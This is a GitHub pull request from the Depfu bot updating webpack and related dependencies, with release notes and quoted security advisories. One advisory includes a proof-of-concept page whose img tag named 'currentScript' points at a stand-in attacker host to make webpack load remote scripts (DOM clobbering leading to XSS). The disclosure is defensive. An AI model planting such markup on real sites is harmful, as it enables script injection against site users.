Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

🚨 [security] Update webpack 5.70.0 → 5.94.0 (minor) #487

Open
wants to merge 1 commit into
base: master
Choose a base branch
from
Open

🚨 [security] Update webpack 5.70.0 → 5.94.0 (minor) #487

wants to merge 1 commit into from

Conversation

depfu[bot]
Copy link

@depfu depfu bot commented Aug 27, 2024

Welcome to Depfu 👋

This is one of the first three pull requests with dependency updates we've sent your way. We tried to start with a few easy patch-level updates. Hopefully your tests will pass and you can merge this pull request without too much risk. This should give you an idea how Depfu works in general.

After you merge your first pull request, we'll send you a few more. We'll never open more than seven PRs at the same time so you're not getting overwhelmed with updates.

Let us know if you have any questions. Thanks so much for giving Depfu a try!

🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!

Here is everything you need to know about this update. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ webpack (5.70.0 → 5.94.0) · Repo

Security Advisories 🚨

🚨 Webpack's AutoPublicPathRuntimeModule has a DOM Clobbering Gadget that leads to XSS

Hi, Webpack developer team!

Summary

We discovered a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

We found the real-world exploitation of this gadget in the Canvas LMS which allows XSS attack happens through an javascript code compiled by Webpack (the vulnerable part is from Webpack). We believe this is a severe issue. If Webpack’s code is not resilient to DOM Clobbering attacks, it could lead to significant security vulnerabilities in any web application using Webpack-compiled code.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Webpack

We identified a DOM Clobbering vulnerability in Webpack’s AutoPublicPathRuntimeModule. When the output.publicPath field in the configuration is not set or is set to auto, the following code is generated in the bundle to dynamically resolve and load additional JavaScript files:

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript)
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

However, this code is vulnerable to a DOM Clobbering attack. The lookup on the line with document.currentScript can be shadowed by an attacker, causing it to return an attacker-controlled HTML element instead of the current script element as intended. In such a scenario, the src attribute of the attacker-controlled element will be used as the scriptUrl and assigned to __webpack_require__.p. If additional scripts are loaded from the server, __webpack_require__.p will be used as the base URL, pointing to the attacker's domain. This could lead to arbitrary script loading from the attacker's server, resulting in severe security risks.

PoC

Please note that we have identified a real-world exploitation of this vulnerability in the Canvas LMS. Once the issue has been patched, I am willing to share more details on the exploitation. For now, I’m providing a demo to illustrate the concept.

Consider a website developer with the following two scripts, entry.js and import1.js, that are compiled using Webpack:

// entry.js
import('./import1.js')
  .then(module => {
    module.hello();
  })
  .catch(err => {
    console.error('Failed to load module', err);
  });

// import1.js
export function hello () {
  console.log('Hello');
}

The webpack.config.js is set up as follows:

const path = require('path');

module.exports = {

entry: './entry.js', // Ensure the correct path to your entry file

output: {

filename: 'webpack-gadgets.bundle.js', // Output bundle file

path: path.resolve(__dirname, 'dist'), // Output directory

publicPath: "auto", // Or leave this field not set

},

target: 'web',

mode: 'development',

};

When the developer builds these scripts into a bundle and adds it to a webpage, the page could load the import1.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can lead to cross-site scripting (XSS) on websites that include Webpack-generated files and allow users to inject certain scriptless HTML tags with improperly sanitized name or id attributes.

Patch

A possible patch to this vulnerability could refer to the Google Closure project which makes itself resistant to DOM Clobbering attack: https://github.com/google/closure-library/blob/b312823ec5f84239ff1db7526f4a75cba0420a33/closure/goog/base.js#L174

/******/ 	/* webpack/runtime/publicPath */
/******/ 	(() => {
/******/ 		var scriptUrl;
/******/ 		if (__webpack_require__.g.importScripts) scriptUrl = __webpack_require__.g.location + "";
/******/ 		var document = __webpack_require__.g.document;
/******/ 		if (!scriptUrl && document) {
/******/ 			if (document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT') // Assume attacker cannot control script tag, otherwise it is XSS already :>
/******/ 				scriptUrl = document.currentScript.src;
/******/ 			if (!scriptUrl) {
/******/ 				var scripts = document.getElementsByTagName("script");
/******/ 				if(scripts.length) {
/******/ 					var i = scripts.length - 1;
/******/ 					while (i > -1 && (!scriptUrl || !/^http(s?):/.test(scriptUrl))) scriptUrl = scripts[i--].src;
/******/ 				}
/******/ 			}
/******/ 		}
/******/ 		// When supporting browsers where an automatic publicPath is not supported you must specify an output.publicPath manually via configuration
/******/ 		// or pass an empty string ("") and set the __webpack_public_path__ variable from your code to use your own logic.
/******/ 		if (!scriptUrl) throw new Error("Automatic publicPath is not supported in this browser");
/******/ 		scriptUrl = scriptUrl.replace(/#.*$/, "").replace(/\?.*$/, "").replace(/\/[^\/]+$/, "/");
/******/ 		__webpack_require__.p = scriptUrl;
/******/ 	})();

Please note that if we do not receive a response from the development team within three months, we will disclose this vulnerability to the CVE agent.

🚨 Cross-realm object access in Webpack 5

Webpack 5 before 5.76.0 does not avoid cross-realm object access. ImportParserPlugin.js mishandles the magic comment feature. An attacker who controls a property of an untrusted object can obtain access to the real global object.

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

✳️ terser-webpack-plugin (5.3.1 → 5.3.10) · Repo · Changelog

Release Notes

5.3.10

5.3.10 (2023-12-28)

Bug Fixes

  • bump terser to the latest stable version (#587) (f650fa3)

5.3.9

5.3.9 (2023-05-17)

Bug Fixes

5.3.8

5.3.8 (2023-05-06)

Bug Fixes

5.3.7

5.3.7 (2023-03-08)

Bug Fixes

5.3.6

5.3.6 (2022-08-29)

Bug Fixes

  • allow disable compress options for terser and swc (#514) (52c1aef)

5.3.5

5.3.5 (2022-08-16)

Bug Fixes

5.3.4

5.3.4 (2022-08-12)

Bug Fixes

  • respect environment options for terser and swc compress options (#509) (29bbc3a)

5.3.3

5.3.3 (2022-06-02)

Fixes

  • fix broken release

5.3.2

5.3.2 (2022-06-02)

Chore

  • switched to @jridgewell/source-map for error generation

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​jridgewell/resolve-uri (indirect, 3.0.5 → 3.1.2) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​jridgewell/sourcemap-codec (indirect, 1.4.11 → 1.5.0) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​jridgewell/trace-mapping (indirect, 0.3.4 → 0.3.25) · Repo

Release Notes

0.3.24

What's Changed

  • Add ignoreList (and x_google_ignoreList) support: 1027ce6

Full Changelog: v0.3.23...v0.3.24

0.3.23

Full Changelog: v0.3.22...v0.3.23

0.3.22

What's Changed

Full Changelog: v0.3.21...v0.3.22

0.3.21

What's Changed

Full Changelog: v0.3.20...v0.3.21

0.3.20

What's Changed

  • Fix handling of sectioned source maps missing 'names' array by @RandomByte in #29

New Contributors

Full Changelog: v0.3.19...v0.3.20

0.3.19

What's Changed

  • Unpins the @jridgewell/resolve-uri and @jridgewell/sourcemap-codec dependencies so they can be de-duped.

Full Changelog: v0.3.16...v0.3.17

0.3.18

What's Changed

  • fix: add "types" field to package.json by @dominikg in #24

New Contributors

Full Changelog: v0.3.17...v0.3.18

0.3.17

What's Changed

  • Add support for bias in allGeneratedPositionsFor by @jridgewell in #23

Full Changelog: v0.3.16...v0.3.17

0.3.16

What's Changed

New Contributors

Full Changelog: v0.3.15...v0.3.16

0.3.15

What's Changed

  • Fix presortedDecodedMap to only copy sourcemap fields by @jridgewell in #15

Full Changelog: v0.3.14...v0.3.15

0.3.14

Internal

Full Changelog: v0.3.13...v0.3.14

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ @​types/estree (indirect, 0.0.51 → 1.0.5) · Repo

Sorry, we couldn't find anything useful about this release.

↗️ acorn (indirect, 8.7.0 → 8.12.1) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ browserslist (indirect, 4.19.3 → 4.23.3) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ caniuse-lite (indirect, 1.0.30001313 → 1.0.30001653) · Repo · Changelog

↗️ electron-to-chromium (indirect, 1.4.75 → 1.5.13) · Repo · Changelog

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ enhanced-resolve (indirect, 5.9.2 → 5.17.1) · Repo

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ es-module-lexer (indirect, 0.9.3 → 1.5.4) · Repo · Changelog

Release Notes

Too many releases to show here. View the full release notes.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ escalade (indirect, 3.1.1 → 3.1.2) · Repo

Release Notes

3.1.2

Patches

Chores

Full Changelog: v3.1.1...v3.1.2

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ graceful-fs (indirect, 4.2.9 → 4.2.11) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ node-releases (indirect, 2.0.2 → 2.0.18) · Repo

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ picocolors (indirect, 1.0.0 → 1.0.1) · Repo · Changelog

Release Notes

1.0.1

What's new?

  • Updated color detection mechanism to work properly on Vercel Edge Runtime #64
  • Remove use of recursion to avoid possible stack overflow for very long inputs #56

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ serialize-javascript (indirect, 6.0.0 → 6.0.2) · Repo

Release Notes

6.0.2

v6.0.1...v6.0.2

6.0.1

What's Changed

New Contributors

Full Changelog: v6.0.0...v6.0.1

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

↗️ terser (indirect, 5.12.0 → 5.31.6) · Repo · Changelog

Security Advisories 🚨

🚨 Terser insecure use of regular expressions leads to ReDoS

The package terser before 4.8.1, from 5.0.0 and before 5.14.2 are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expressions.

Release Notes

Too many releases to show here. View the full release notes.

↗️ watchpack (indirect, 2.3.1 → 2.4.2) · Repo

Release Notes

2.4.2

Bugfixes

  • handle empty strings and arrays in ignored

2.4.1

Bugfixes

  • do not report directory as initial missing on the second watch

2.4.0

Bugfixes

  • respect filesystem accuracy more accurately

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by more commits than we can show here.

🆕 @​jridgewell/gen-mapping (added, 0.3.5)

🆕 @​jridgewell/set-array (added, 1.2.1)

🆕 @​jridgewell/source-map (added, 0.3.6)

🆕 acorn-import-attributes (added, 1.9.5)

🆕 update-browserslist-db (added, 1.1.0)

🗑️ @​types/eslint (removed)

🗑️ @​types/eslint-scope (removed)

🗑️ acorn-import-assertions (removed)

🗑️ json-parse-better-errors (removed)

Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)

@depfu depfu bot added the depfu label Aug 27, 2024
@depfu depfu bot mentioned this pull request Aug 27, 2024
Closed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
depfu
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants